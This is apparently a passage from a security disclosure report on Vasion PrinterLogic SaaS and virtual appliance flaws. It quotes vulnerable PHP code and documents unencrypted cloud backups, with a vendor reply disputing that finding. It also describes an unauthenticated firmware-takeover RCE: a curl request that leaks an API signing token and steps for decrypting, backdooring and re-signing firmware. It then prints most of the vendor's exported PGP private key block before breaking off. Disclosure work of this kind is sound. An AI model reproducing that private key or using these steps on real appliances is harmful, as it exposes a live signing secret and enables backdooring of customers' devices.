 <span style="color: #666666">36</span>         <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">domain</span> <span style="color: #666666">=</span> <span style="color: #19177C">$domain</span>;
 <span style="color: #666666">37</span>         <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">verifySsl</span> <span style="color: #666666">=</span> <span style="color: #19177C">$verify</span>;
 <span style="color: #666666">38</span>         <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">siteid</span> <span style="color: #666666">=</span> <span style="color: #19177C">$siteIdOverride</span> <span style="color: #666666">?</span> <span style="color: #19177C">$siteIdOverride</span> <span style="color: #666666">:</span> App<span style="color: #666666">::</span><span style="color: #7D9029">getSiteId</span>();
 <span style="color: #666666">39</span> 
 <span style="color: #666666">40</span>         <span style="color: #19177C">$catalogService</span> <span style="color: #666666">=</span> app(CatalogService<span style="color: #666666">::</span><span style="color: #7D9029">class</span>);
 <span style="color: #666666">41</span>         <span style="color: #19177C">$tenantId</span> <span style="color: #666666">=</span> <span style="color: #19177C">$catalogService</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getCurrentTenantId</span>() <span style="color: #666666">??</span> <span style="color: #BA2121">&#39;&#39;</span>;
 <span style="color: #666666">42</span>         <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">tenantId</span> <span style="color: #666666">=</span> (string)<span style="color: #19177C">$tenantId</span>;
 <span style="color: #666666">43</span>     }
 <span style="color: #666666">44</span> 
 <span style="color: #666666">45</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 46      * Make the actual request</span>
<span style="color: #BA2121; font-style: italic"> 47      *</span>
<span style="color: #BA2121; font-style: italic"> 48      * @param string $url - relative path of the endpoint (not including hostname)</span>
<span style="color: #BA2121; font-style: italic"> 49      * @param string $method - HTTP method</span>
<span style="color: #BA2121; font-style: italic"> 50      * @param array $request - Request body</span>
<span style="color: #BA2121; font-style: italic"> 51      * @param array $headers - Request headers</span>
<span style="color: #BA2121; font-style: italic"> 52      *</span>
<span style="color: #BA2121; font-style: italic"> 53      * @return Response</span>
<span style="color: #BA2121; font-style: italic"> 54      */</span>
 <span style="color: #666666">55</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">makeRequest</span>(<span style="color: #19177C">$url</span>, <span style="color: #19177C">$method</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;GET&#39;</span>, <span style="color: #19177C">$request</span> <span style="color: #666666">=</span> [], <span style="color: #19177C">$headers</span> <span style="color: #666666">=</span> [])
 <span style="color: #666666">56</span>     {
 <span style="color: #666666">57</span>         <span style="color: #19177C">$defaultRequest</span> <span style="color: #666666">=</span> [
 <span style="color: #666666">58</span>             <span style="color: #BA2121">&#39;verify&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">verifySsl</span>,
 <span style="color: #666666">59</span>         ];
 <span style="color: #666666">60</span>         <span style="color: #19177C">$defaultHeaders</span> <span style="color: #666666">=</span> [
 <span style="color: #666666">61</span>             <span style="color: #408080; font-style: italic">// headers that come in have been lower-cased, so to merge properly, we must be also</span>
 <span style="color: #666666">62</span>             <span style="color: #BA2121">&#39;x-printerlogic-ms-auth-key&#39;</span> <span style="color: #666666">=&gt;</span> config(<span style="color: #BA2121">&#39;auth.microservice_auth_key&#39;</span>),        <span style="color: #408080; font-style: italic">// [1] static x-printerlogic-ms-auth-key</span>
 <span style="color: #666666">63</span>             <span style="color: #BA2121">&#39;x-site-id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">siteid</span>,                                                <span style="color: #408080; font-style: italic">// [2] subdomain or value extracted from the X-Site-ID HTTP header</span>
 <span style="color: #666666">64</span>             <span style="color: #BA2121">&#39;X-PL-Instance-ID&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">tenantId</span>,
 <span style="color: #666666">65</span>         ];
 <span style="color: #666666">66</span> 
 <span style="color: #666666">67</span>         <span style="color: #19177C">$request</span> <span style="color: #666666">=</span> <span style="color: #008000">array_merge</span>(<span style="color: #19177C">$defaultRequest</span>, <span style="color: #19177C">$request</span>);
 <span style="color: #666666">68</span>         <span style="color: #19177C">$request</span>[<span style="color: #BA2121">&#39;headers&#39;</span>] <span style="color: #666666">=</span> <span style="color: #008000">array_merge</span>(<span style="color: #19177C">$defaultHeaders</span>, <span style="color: #19177C">$headers</span>);
 <span style="color: #666666">69</span>         <span style="color: #19177C">$url</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">domain</span> <span style="color: #666666">.</span> <span style="color: #19177C">$url</span>;
 <span style="color: #666666">70</span> 
 <span style="color: #666666">71</span>         Log<span style="color: #666666">::</span><span style="color: #7D9029">debug</span>(<span style="color: #008000">sprintf</span>(<span style="color: #BA2121">&#39;[API-Gateway] %s %s&#39;</span>, <span style="color: #19177C">$method</span>, <span style="color: #19177C">$url</span>));
 <span style="color: #666666">72</span>         <span style="color: #19177C">$client</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> Client();
 <span style="color: #666666">73</span>         <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #19177C">$client</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">request</span>(<span style="color: #19177C">$method</span>, <span style="color: #19177C">$url</span>, <span style="color: #19177C">$request</span>);
 <span style="color: #666666">74</span> 
 <span style="color: #666666">75</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$response</span>;
 <span style="color: #666666">76</span>     }
</pre></div>

<p>For example, the edition of a user is entirely based on the <code>X-Site-ID</code> variable in the HTTP request in the <code>/var/www/app/app/Http/Controllers/UserController.php</code> file:</p>
<p>Content of <code>/var/www/app/app/Http/Controllers/UserController.php</code>:</p>
<pre>
[...]
 456     /** 
 457      * Store a newly created resource in storage.
 458      *      
 459      * @param UserRequest $request User data to store
 460      *  
 461      * @return \Illuminate\Http\Response | \Illuminate\Http\JsonResponse
 462      *
 463      * @throws InvalidAttributeIdException
 464      * @throws InvalidAttributeKeyException
 465      * @throws InvalidAttributeValueException
 466      * @throws UserAttributeSaveException
 467      */
 468     public function store(UserRequest $request)
 469     {
<font color=red> 470         $data = $request->get('user');</font>
 471 
 472         // convert all data to snake case
 473         $data = StringHelper::toSnakeCase($data, true);
 474         
<font color=red> 475         $data['site_id'] = $request->header(CustomHttpHeaders::HEADER_SITE_ID);</font>
 476                     
<font color=red> 477         // create the user 
 478         $user = $this->service->create($data);</font>
 479         $response = fractal()->create()
 480             ->item($user)
 481             ->transformWith(new UserTransformer())
 482             ->withResourceName('user')
 483             ->toArray();
 484         
 485         return response()->json($response, HttpResponse::HTTP_CREATED);
 486     }
[...]
 548     /**
 549      * Update the specified resource in storage.
 550      *
 551      * @param UserRequest $request User data to update
 552      * @param int         $id Id of user to update
 553      *
 554      * @return \Illuminate\Http\Response | array
 555      */
 556     public function update(UserRequest $request, $id)
 557     {
<font color=red> 558         $data = $request->get('user');
 559         $data['site_id'] = $request->header(CustomHttpHeaders::HEADER_SITE_ID);</font>
 560         $allowUpsert = $request->header('X-PrinterLogic-AllowUpsert', false);
 561 
 562         // Check user record exists in table before trying to update it
 563         $user = User::where('id', $id)->first();
 564         if (!$user && $allowUpsert) {
 565             Log::debug(sprintf('Record [%s] does not exist, upserting user.', $id));
 566             return $this->store($request);
 567         } elseif (!$user) {
 568             return $this->errorResponse(
 569                 sprintf('Record [%s] does not exist.', $id),
 570                 'INVALID-USER',
 571                 HttpResponse::HTTP_NOT_FOUND
 572             );
 573         }
 574 
<font color=red> 575         $user = $this->service->update($id, $data);</font>
 576 
 577         return fractal()->create()
 578             ->item($user)
 579             ->transformWith(new UserTransformer())
 580             ->withResourceName('user')
 581             ->toArray();
 582     }
</pre>

<p>An attacker with SSRF vulnerabilities or able to add additional HTTP headers in the internal request (e.g. by including CRLF characters) can control any instance.</p>
<p>There is a high risk of cross-tenant vulnerabilities since the authentication mechanism of instances seems to be weak.</p>
<p><a id="saas-clear-text-sql-backups"></a></p>
<h2>Details - SQL Backups stored in clear-text in the Cloud</h2>
<p>It was observed that backup files are stored in clear-text inside the <code>s3DbBackup</code> AWS Bucket.</p>
<p>The tarball is generated from the <code>/var/www/app/Console/Commands/BackupPrinterInstaller.php</code> PHP script on line 54 and uploaded into the <code>s3DbBackup</code> AWS Bucket on line 62.</p>
<p>There is no encryption, the SQL dump is just gzipped on line 54:</p>
<p>Content of <code>/var/www/app/Console/Commands/BackupPrinterInstaller.php</code>:</p>
<pre>
 22 class BackupPrinterInstaller extends Command
 23 {
 24     /**
 25      * The name and signature of the console command. It needs which database to backup and a unique key to be passed.
 26      *
 27      * @var string
 28      */
 29     protected $signature = 'printer-logic:backup-printer-installer {schema} {unique_key}';
 30 
 31     /**
 32      * The console command description.
 33      *
 34      * @var string
 35      */
 36     protected $description = 'Backup the Printer Installer Database';
 37 
 38     /**
 39      * Execute the console command.
 40      *
 41      * @return void
 42      */
 43     public function handle()
 44     {
 45         $schema = $this->argument('schema');
 46         $uniqueKey = $this->argument('unique_key');
 47         $file = $schema . "_" . $uniqueKey . "_database.sql.gz";
 48         $fileHandle = null;
 49 
 50         Log::notice("COMMAND START: " . implode(",", $this->arguments()));
 51         try {
 52             $this->info("Initiating Database backup for ... $schema");
 53 
<font color=red> 54             $dumper = $this->createMySqlDbDumper($schema);
 55             $dumper->useCompressor(new GzipCompressor())
 56             ->addExtraOption('--set-gtid-purged=OFF')
 57             ->dumpToFile($file);</font>
 58 
 59             // Open the file stream to avoid loading the entire file into memory at once.
 60             $fileHandle = fopen($file, 'r');
 61             // Save to S3
<font color=red> 62             $success = Storage::disk('s3DbBackup')->put($file, $fileHandle);
 63             Log::debug("Did upload to s3 work? $success");</font>
 64             if (!$success) {
 65                 throw new AwsException("Failed to save $schema to S3", 424);
 66             }
[...]
 81 
 82     /**
 83      * Function createMySqlDbDumper This creates a PrinterLogicMySql object that is ready to be used doing
 84      *  all the necessary setup. MySql inherits from DbDumper and is the MySql implementation of DbDumper.
 85      *
 86      * @param string $dbName Name of database to backup
 87      *
 88      * @return DbDumper
 89      */
 90     public function createMySqlDbDumper(string $dbName): DbDumper
 91     {
 92         //startDBProxy returns connection name or false
 93         $connectionName = Saas::startDBProxy($dbName, false, false, false);
 94 
 95         $dbConfig = config("database.connections.{$connectionName}");
 96         if (is_null($dbConfig)) {
 97             throw Exception("Connection does not exist: " . $dbName);
 98         }
 99         $dbHost = Arr::get($dbConfig, 'read.host', Arr::get($dbConfig, 'host'));
100         $dbDumper = App::make(PrinterLogicMySql::class);
101         $dbDumper->setHost($dbHost ?? '')
102             ->setDbName($dbName)
103             ->setUserName($dbConfig['username'] ?? '')
104             ->setPassword($dbConfig['password'] ?? '');                                                                                                                                         
105         if (isset($dbConfig['port'])) {                                                                                                                                                         
106             $dbDumper = $dbDumper->setPort($dbConfig['port']);                                                                                                                                  
107         }                             
108         if (isset($dbConfig['dump'])) {
109             $dbDumper = static::processExtraDumpParameters($dbConfig['dump'], $dbDumper);
110         }
111         return $dbDumper;
112     }
113 }
</pre>

<p>The restore script <code>/var/www/app/Console/Commands/RestorePrinterInstaller.php</code> also does not include any decryption mechanism (on line 109):</p>
<p>Content of <code>/var/www/app/Console/Commands/RestorePrinterInstaller.php</code>:
<pre>
 24 class RestorePrinterInstaller extends Command
 25 {
[...]
 40     protected $description = 'Restore the Printer Installer Database';
 41 
<font color=red> 42     public const RETRIEVAL_DISK = 's3DbBackup';</font>
 43     public const ERR_EXCEPTION = -1;
 44     public const ERR_AWS_EXCEPTION = -2;
 45     public const ERR_EXISTING_DATABASE_EXCEPTION = -3;
 46     public const ERR_MISSING_FILE_EXCEPTION = -4;
 47     public const ERR_COMMAND_EXECUTION_EXCEPTION = -5;
 48 
 49 
 50     /<em><em>
 51      * Execute the console command.
 52      </em>
 53      * @return void
 54      </em>/
 55     public function handle()
 56     {
 57         $schema = $this-&gt;argument('original_schema_name');
 58         $restoreSchema = $this-&gt;argument('restore_schema_name');
 59         $uniqueKey = $this-&gt;argument('unique_key');
 60         $s3file = $schema . "<em>" . $uniqueKey . "_database.sql.gz";
 61 
 62         Log::notice("COMMAND START: " . implode(",", $this-&gt;arguments()));
 63         try {
 64             $this-&gt;info("Initiating Database backup for ... $schema");
 65 
 66             $exists = Storage::disk(self::RETRIEVAL_DISK)-&gt;exists($s3file);
 67             // If the file doesn't exist add the db prefix on and try again.
 68             if (!$exists) {
 69                 $s3file = config('saas.database_prefix', 'pi</em>') . $s3file;
 70                 $exists = Storage::disk(self::RETRIEVAL_DISK)-&gt;exists($s3file);
 71             }
 72 
 73             if (!$exists) {
 74                 $this-&gt;error("The file is missing");
 75                 return self::ERR_MISSING_FILE_EXCEPTION;
 76             }
 77             $this-&gt;info("I found the file $s3file on s3");
 78 
 79             $dbName = Saas::getDBName($restoreSchema);
 80             // Sets up a database proxy for the new connection so we can connect to the mysql server.
 81 
 82             Saas::startDBProxyForNonExistentSite($dbName, true);
 83 
 84             $this-&gt;info("dbName " . $dbName);
 85 
 86             // Create schema if doesn't exist
 87             MysqlService::createSchemaIfItDoesntExist($dbName);
 88 
 89             // Check if License table exists in schema.
 90             $exists = MysqlService::hasTableInSchema($dbName, 'license');
 91             // If the license table exists abort since the restore is going to overwrite an existing database.
 92             if ($exists) {
 93                 $this-&gt;error("Trying to restore $dbName over an existing database");
 94                 return self::ERR_EXISTING_DATABASE_EXCEPTION;
 95             }
 96 
 97             $fileUrl = Storage::disk(self::RETRIEVAL_DISK)-&gt;temporaryUrl($s3file, now()-&gt;addMinutes(15));
 98 
 99             // Get variables to use in the mysql command.
100             $connection = DB::connection();
101             $dbHost = $connection-&gt;getConfig('host');
102             $userName = $connection-&gt;getConfig('username');
103             $password = $connection-&gt;getConfig('password');
104                                                                                                                                                                                               <br />
105             $this-&gt;info("URL $fileUrl");                                                                                                                                                      <br />
106             // pull down the file with curl passing the silent (-s) flag                                                                                                                      <br />
107             // then pipe it into gunzip then pipe the results into mysql
<font color=red>108             $command =
109                 "curl -s '$fileUrl' | gunzip | mysql --user='$userName' --password='$password' --host=$dbHost $dbName";</font>
110             $returnVar = null;
111             $output = null;
112             // Execute the mysql command so we can stream the file instead of loading it to memory then passing it
113             // to mysql.
<font color=red>114             exec($command, $output, $returnVar);</font>
</pre></p>
<p>The backup files are not encrypted and are stored inside the <code>s3DbBackup</code> AWS Bucket.</p>
<p>If the AWS keys are exposed (e.g. using SSRF vulnerabilities), the clear-text backups can be downloaded by attackers.</p>
<p>Note: In February 2024, Vasion replied that this reported issue is a false positive:</p>
<blockquote>
<p>This code is not used to encrypt data. All data sent to S3 buckets is encrypted during encapsulation and encrypted at rest once within our VPC.</p>
</blockquote>
<h2>Vulnerabilities affecting the VA version</h2>
<h2>Identification of the solution</h2>
<p>Printerlogic VA version 
<img alt="" src="images/2025-vasion-report-2-local-version-01.png" /></p>
<p>Printerlogic VA version 
<img alt="" src="images/2025-vasion-report-2-local-version-02.png" /></p>
<p><a id="va-rce-02"></a></p>
<h2>Details - Remote take over of PrinterLogic instances (Remote Code Execution)</h2>
<p>It was observed that a specific webpage is reachable without authentication. This webpage provides a temporary token allowing an attacker to upload a malicious firmware image and overwrite the original firmware image running in the appliance. No credentials are required.</p>
<p>The firmware images are encrypted with the <code>PrinterLogic Virtual Appliance Team no-reply+virtualappliance@printerlogic.com</code> GPG key that can be freely extracted from the appliance. An attacker can simply download an update file, decrypt it, modify it by adding a backdoor, encrypt it with the GPG key and upload it using the temporary token. The malicious image will be then installed.</p>
<p>By visiting the webpage <code>/admin/design/management_accountts_pcabout.php</code>, the attacker will retrieve the secret token allowing uploading a new firmware image and installing it in the appliance:</p>
<p>Secret token allowing overwriting the firmware image:</p>
<pre>
kali% curl -kv http://10.105.0.60/admin/design/management_accountts_pcabout.php
*   Trying 10.105.0.60:80...
* Connected to 10.105.0.60 (10.105.0.60) port 80
> GET /admin/design/management_accountts_pcabout.php HTTP/1.1
> Host: 10.105.0.60
> User-Agent: curl/8.4.0
> Accept: */*
> 
< HTTP/1.1 500 Internal Server Error
< Cache-Control: no-cache, private
< Content-Security-Policy: frame-ancestors 'self'
< Content-Type: text/html; charset=UTF-8
< Date: Tue, 26 Dec 2023 13:03:46 GMT
< Server: nginx
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
< 
About PrinterLogic Virtual Appliance
    id="va-react-content"
    versions='{&quot;appliance&quot;:{&quot;previous&quot;:&quot;unavailable&quot;,&quot;current&quot;:&quot;20.0.2140&quot;,&quot;latest&quot;:&quot;unavailable&quot;,&quot;date&quot;:&quot;01\/01\/1970&quot;},&quot;host&quot;:{&quot;current&quot;:&quot;22.0.893&quot;,&quot;latest&quot;:&quot;unavailable&quot;},&quot;updating&quot;:{&quot;toVersion&quot;:&quot;&quot;}}'
<font color=red>    date='12/13/2023'
    updateAvailable=''
    apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG'
    apiTimeStamp='2023-12-26 13:03:46'
    gwUrl='http://gw.10.105.0.60'</font>
[...]
</pre>

<p>Then, the attacker can install backdoors in an existing official image using the following GPG key (found in the appliance).</p>
<p>Steps:</p>
<ul>
<li>Installation of the GPG private key (obtained from the VA version);</li>
<li>Download of a recent version of an update file;</li>
<li>Decryption of the update file;</li>
<li>Modification of the update file;</li>
<li>Repack of the modified file;</li>
<li>Signature of the modified file;</li>
<li>Upload of the modified file.</li>
</ul>
<p>Depacking of an official image:</p>
<pre><code>kali# cp -r /dev/shm/./var-lib-docker/overlay2/af043a538447c099c971ed713f9d7cf8e5987ba0e52df08844e0a255b177c582/diff/home/ubuntu//.gnupg /home/user/

kali% gpg --list-secret-keys
/home/user/.gnupg/pubring.kbx
-----------------------------
sec#  rsa4096 2020-01-23 [SC]
      CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid           [ultimate] PrinterLogic Virtual Appliance Team &lt;no-reply+virtual-appliance@printerlogic.com&gt;
ssb   rsa4096 2020-01-23 [E]
ssb#  rsa4096 2020-01-23 [S]
kali% #gpg --export-secret-keys -a &gt; export.asc
[50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
kali% cat export.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQIVBF4qHKgBEAC3T56eTrfTkPZrLwKUla4FSbdd2QTQU5XsXT6gCc6TpadMF1XY
2GfZaUcQ5G0DOWRQpy9rxBh+ZiffqbDFKyHLmSG4RrYpeR0jttUdVEdQ99II0kfB
41bo59iJkYM6EGAm2htBrstUnOwyFMn1DH8PBs/Pp+N8kaOCa+BgjKyxvQvXHXSz
b9dt6TLPRnloO4hJXJI1htHMFdBTpzJKY8gKnug/XO7Vkq5j3mCcGM/5K4fzKYoE
fFmQO9sjnzG6hnon+9tUsexmnCosk5a+HzpGthrx3/MIFHMe02ZL7VGuxOUyL618
wEa4CbnxMwsW14FzOjPubaMsgsQhuH3X2yiVgJw2i0c1IUmFiEdeTZ29tDlhsUmM
pNqGgvp41t41PD6EoA4KhdyGh0GTtzz97QoY1HTpbTF3vPChRgWFMDnw+1jXd3Q7
m6Zgkn2iVFVb+bUT5VZAnT7okJHP8ZKtqm97YxliUft1JQvISaVaoL0VOyB6P83T
1CeVTtMLsZRgooKIyOTyxPzRZxqmYhGMOam7KY/syKZRw5zIcBGGpuZ6xQRSKYRG
hZhDFZFmvO7EkQoPJaYsX6IY3oOwZ1GTq1mWQ062FzmPA4gWffOUGGdbrZuJSPg5
1OsFVcXeg8KGqJOAQBVG4gQ7mbjv2F5Srll6S9k7X8i0XXFoBMLZ9bt9pwARAQAB
/wBlAEdOVQG0UVByaW50ZXJMb2dpYyBWaXJ0dWFsIEFwcGxpYW5jZSBUZWFtIDxu
by1yZXBseSt2aXJ0dWFsLWFwcGxpYW5jZUBwcmludGVybG9naWMuY29tPokCTgQT
AQgAOAIbAwIeAQIXgBYhBMraCwbYraWnLFL1+wm9njZ9oQmYBQJeKh7OBQsJCAcD
BRUKCQgLBRYCAwEAAAoJEAm9njZ9oQmYPiwP+wZd3TKyzvCR9j3sRoB5iSRnt0W6
BDXNf3uwIqmn9+V94FRNJ6YshhdzqA+urS04iLUK4iD+DpicmRCIgcZIEYmKlxed
zbU6OIHalVT9mm/QVLi1PYScwRmLi6psREWGi5yGCc7C/J0KzYPwirojmd/hVnmQ
DeYg8J2ZH7TFj/DN/dfGBkoXK63EcLThMtdilOqYANkWRI5tlV1/cwPW+DHGLcFL
kFVKzDYsaeD8nBfhZZmcVHdegv8f+LheZqJCYrk8B83s5n/FwyQBy9BRp3uudJtr
ouQKkQMZVpB5wLBwpsrFIDUhW1fdQRGK33QzK0EpYEsU4h5danFz3KuI3fOpoP0Z
l++AixRiHfhJOSzgswFynVmYiI2S889w/0U+nFftEUl3467zKVhWKeF+C4Q9of5s
g4PqfcU3/fh59Lxi18L/x55KrZtkXVhxWN7J9+pMVG/7uunXvfdBdgJgBwI5AKoC
VSBzSUyrR2IkCU+/luv06ZvzolnlKI8VEnWDlsRy8r2aH9ZYGKVyfXNKX+gLEdP/
F0FCm8jSZMeHgk7dVjYM/G+iFAX/ChqmwhqzEZzBvccnBIS5m6BGWSLUoBlBpZqS
n38k1gTn4+JiFtbzVmpBjtJTHo//91JF4opMh8ooHJDkh0fBWwQGSkCZxUm4gGVD
j9hh31PgTTtdp6A7nQdGBF4qHzkBEADJYRm7u7u/O3/NLU/GJfbkZomChFC2VKES
E8kDNQzNRWTI1Y3BRBaICJ8GJk793y239tIEp4V511Z6fpYU18Z+kCBkgfdKtDpZ
V6OFsJ4w4+q2xfrjoCvskazjoaMjKCoZ5h06Fe+h667L3MTu3oTy2iDy0XZ+ZqtY
7uZkexpZwnCH5elfvpumAoQ9n7X1ZY8PNk8xSCsiJZz8JxJ2MzNHmNSVVLZiztDs
bapfXD2TjUa/xTwRu5iVhwgpDjggoqJBITsCkRujkC6crqwl/h8sqXC3Oni2KAJY
9DbhuInmx+q1pTqgelDXJFzHZY0DY8nZ2aW05V5PYJA3SeWDWLyj8s0OIdFiU5ul
1XG+76A3fF69pvTS1/nftqFBsrGgownpC4maXoTTGdFMk3pOe8xDFMOj6htE/P2x
Ej67Wj8Pek7iC4P85FBGu06EbPmnTcwgWOMlbU2JrZn+o86ItdNxErLGqHPnnMN8
2KRrnX8x3Lj4Rho3xcjyGNJmk0dl515+RrEuJxAOgDyuiUDFSDugjfVwNImDoWw4
AoRGbISpYQVLftkViRfWpiibKcEWe8mufUDiqkQ5pggYivfsFxqNPTBxWSv8SZw+
MQkCJbySzedk/fFafXNjr18NVCVyTnzNGB6V12vXYte9TqT5Hg0sikQvi8VtuN5w
uJsM/q+yowARAQAB/gcDAkcSMRaVJpve/1kF/eOwEZJaDRhgeQSyCl3JPI5/6sqz
zIPti4p/lkS+1lQtHGzKSt5lZNozi+mzdZOdeYS9zEZ9wpbfMPA0hxaBGSgcUwFX
3g599jg53E58DmRK6IRIJZuvOrjVKiRIltv/rtbL0lF9K6a9vq7WpNMmWZzWq+4/
gwmydJzCr3hdIvmxbidvSGAYMh9S9pXYLtEMKCzIen10xngHbMwgFfYg4tNLTMMe
rmsFO5SemhovHsli1piseY9CS8Q6hUkzJmto33LSln0eFg3h/QGc9nSkrIeVPKxd
NYbO9gnB+jScYxLUpo1bSFrV7K4/dKscg1CYzJUcQqnWDTpVsxOB5eFU5fckfYTb
lUCom/Su0T9Anc+daZ2cjWa5GRhFtXOCEV1pEueuZZVZGqeDvjggdTysJGkh4s1u
sv4ccsj7l43PK0hy1Q0gbw3jnU30sqjnsSuYjT5uojxNupZVpx1hd9UHkYeXuq3f
dkiWvu+1iunXSaUbhUgoJAmsW0VhP92roY9U4ZKN4aZRM2FQDDDoh4AHgr1SkOdZ
yYcWe23p7sXdPx6kTMBe465v2tzq0lSrL7Bhcg/N8zQbLJ57vCb5tv2pOGzIuUYQ
tNQfESHvfjNuMtqFzoE7I9iNcJURrfx8cAo6AaCQjJq6MCbEZcTLOcBHUnXCkVsA
ePsc6MHYZDIOMqthaYekTxKz7Wo51G2dSnNlPLTeE68HOyUDj+TS0lSnrbx7Jy+N
RtctsGfEWDHW2WWVv9Q9aNjtvIsHsOKZ3cGL9QYa/dNlOsz9cVlCbB/1aTJNhCKq
wKTdtl4YM1AcBHfnJ2hgqVWJieAMLb3Den9689r9MY/wNmzoQjqzeNTKRYzmO5HN
UduMK1bmPOxwp2fH7rKZbQDGY0XL68uH4byPm1eKpE+6MWmSIDwMjkyH8I+T6p3f
wyiIIkKt7Wbf8bjghgHGEMuHnav4rKgRTRxPVeYRLa5UsQv+IsAuU9HuEufgJFDI
yP0JCX0DXkhbOGVz5yUGZYn0AY7Vbt9R+E6ri3jT+HyIJcJzUNh7ps6/pvNoTA73
8x1WA38Zcz14FNNDd/UtgOb+4d8dswZs7unhlrn56hmOqUD/AUxC2f+YkirncDap
+6oEWCMzUClUl9h0DdTxFfmb7vc2U2IjECYRNRCfq8fQdAOv5VJNHZXgB4jIXpTT
T86VHII8/UVL6ctfOyVZe0Yb/8LHhk/rWPIWQREbc3Q4y36+WpHtawmYtk2HDbMx
Od672cJkHyfrVj7mFXZ5ciAnfaBsMfSee6ZXz9rVL41g9fdSeof+2Fi0ngyiZACh
V5YZ2wjjq8IPFkHjWO92nlz0uSZC5id6ufcR1cQjqao8KapHDaLFdyQIqJwyEMvv
/D4C/aNEdOcy1EKbWqL3HTGsglCVR/OJL1rNfVfX6U0/xQsEVUvsmtpmgsUkCTvS
oYqDdbUbVuThhpW7FjTRaJgWYPe1YkLXmq7jBnL3r/dfUofvXnIyJFVerEJjJIln
Q2wI91fTK9U17u7+ZgHPE+AA8yJ5+Lc+5kuVUrwdMXWxrkRrbf16F94sB1LAWhIp
OrW9F9nKWqTDfJ1DDLsWP0mMGXosE6RE8JH1msMPYNL9R+0vwctu9WlgN1sdBZoZ
Fj1IsQJgKHy/t3S6X0zxLGBXFhs7oEkqtpEyQTwLwA/iWLr/ZpnswZLFU+sm8yQU
nGCYlIEheVjFpf7VzijJXSXDG5hfO8Osk5kNSq/6BouKvrfzVq1BaRw7Mc6m9JhP
1cNkGASJAjYEGAEIACACGwwWIQTK2gsG2K2lpyxS9fsJvZ42faEJmAUCYBROJAAK
CRAJvZ42faEJmE8VD/4jb9IOhf0kHuhGnrBr/N0uwSPWilBUxO+NUVcq++uF5bkD
V3XEbbUATWgFgca7lXjmXAWqEO0t5PtgG5KbWaJbOM/507BXtvdn7/aD026xtBdx
HLaGxc/S38vd1PtCZoss8fDgfq9RPCyQDTX1hqF3I/UglEYIdg9c6Pdnhqhfffbg
vYfzSC/ZwOdkPwYFlZmd6uJkXbFTJiT88PvmzvemHjIXeFjLX41XwoHLUvOfPovV
TfxfElI/U8SqN0H5xUtrJ3ZJ7DXVtaMUfzlvYzw9StokU8n+pbltjPfPNJd/pf0q
3mT82wc2eOqysdi8oXATNpjCI5GB5fVYoOcRn7pgPUx3KBdwtybMZFUoFHvggIq4
mQL/Q4uO6KVt00gF6XXKZaB9ajzIHp3J1B02nCKcOcSal/qsxZmuNLqUWxbST0QE
42Tj9CfLxs8CLzeIYta+LqzcETGcvK1fntxo1349aTq8mi+TYj2qNFAgFpvRHZ4b
yuGmJlIfttXyR3u+IX/Sw+7RXlCNZQPz3n7NcclIHyujGDB5wsET6NtdLKI9z/0K
5iFVsgoLqZSLjIHJB7AzHBQSskzNtJ3JHQNl+I2ot9d0QIjVWzV2vdrkGKIJCHnu
iSjX50mEZS/rt21RNhRlAovGsYFMWDNQWUUJdxUBLcVCOacYNM/XR4TZi0WX9J0C
FQReKh71ARAAn0on8EkJ9cco3swB7pwXvIfqj2olcR/5SOXNxe8r8wt9uP17VLMC
MVKljdYR+0bKiUBYHB3S94PPCc7A6TrmvpkjFvGUkPaVBAoKNRO9eSXk1dHRdDZ9
pKI/Dkcz/sXBsW3ArU5ntyOcYMfV+ecim/3BueFUaa96H6qwdwgv6zhZwrsYVjCS
YCYCa+nkLn9OXRGijmyV/maBh9d9L2EavdqBoEhNvkOLWK0UghyKTrqWcPBYuGv+
QQMPoNuC/ycw34b0cbwlCjY5r+3ERg6DbVmlFl99hN0uD+OlvC5zE99l2cvD1zJD
VIS5pZvO7JAkS9vsvpZod5r/Kb5KzAPZZD2QA/iq56U7U1VxcO60D9iItJirA+jA
z9RA0JnznqdsxYNvjZU+3CBarUXpJRaLfJGcbMnX3gdaxL+5b2nt7+9y5gwJBZCB
3o7Vf8qTY+wkreWSaYY+Y6f0u8E2kMuTmoFTnDo0r3LQofmSq8SLWBL3JaIBuhnZ
b8WQ0M+SJqjooSEBisBnL+6fN2s/jiRRnYl1hW+1FW1t59hpBSCOK+qGFMYBhc4c
Ok8wdi87J8jybiYiYeg0Y/bO1ZSXhdGWyQifpfuFjh4q2LpGTOC82tTbtjnSNlzr
XL4QX908BZ+sqSnd5XRMcIPs10GZYgqaeRhS+x8lu6iNPlyEF3aELlkAEQEAAf8A
ZQBHTlUBiQRsBBgBCAAgAhsCFiEEytoLBtitpacsUvX7Cb2eNn2hCZgFAmAUTjQC
QMF0IAQZAQgAHRYhBBL6+Qkr/7mal1G5LIkIab2nkeDqBQJeKh71AAoJEIkIab2n
